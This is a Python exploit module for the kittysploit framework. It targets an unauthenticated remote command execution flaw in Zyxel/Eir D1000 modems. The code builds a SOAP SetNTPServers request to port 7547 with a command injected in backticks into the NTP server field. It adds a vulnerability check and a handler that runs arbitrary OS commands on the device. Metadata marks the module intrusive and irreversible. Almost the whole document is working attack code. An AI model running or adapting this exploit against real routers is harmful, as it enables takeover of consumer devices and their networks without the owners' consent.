Zyxel Eir D1000 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel Eir D1000 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel Eir D1000 RCE',
        'description': 'Module exploits Remote Command Execution vulnerability in Zyxel/Eir D1000 devices. If the target is vulnerable it allows to execute commands on operating system level.',
        'author': ['kenzo', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759', 'https://broadband-forum.org/technical/download/TR-064.pdf'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address: 192.168.1.1")
    port = OptPort(7547, 'Target HTTP port')

    def execute(self, cmd):
        headers = {
            "Content-Type": "text/xml",
            "SOAPAction": "urn:dslforum-org:service:Time:1#SetNTPServers"
        }

        data = ("<?xml version=\"1.0\"?>"
                "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
                " <SOAP-ENV:Body>"
                "  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
                "   <NewNTPServer1>`{}`</NewNTPServer1>"  # injection
                "   <NewNTPServer2></NewNTPServer2>"
                "   <NewNTPServer3></NewNTPServer3>"
                "   <NewNTPServer4></NewNTPServer4>"
                "   <NewNTPServer5></NewNTPServer5>"
                "  </u:SetNTPServers>"
                " </SOAP-ENV:Body>"
                "</SOAP-ENV:Envelope>").format(cmd)

        self.http_request(
            method="POST",
            path="/UD/act?1",
            headers=headers,
            data=data,
        )

        return ""
    def check(self):  # todo: requires improvement
        response = self.http_request(
            method="GET",
            path="/globe"
        )

        if response is not None:
            if response.status_code == 404 and "home_wan.htm" in response.text:
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()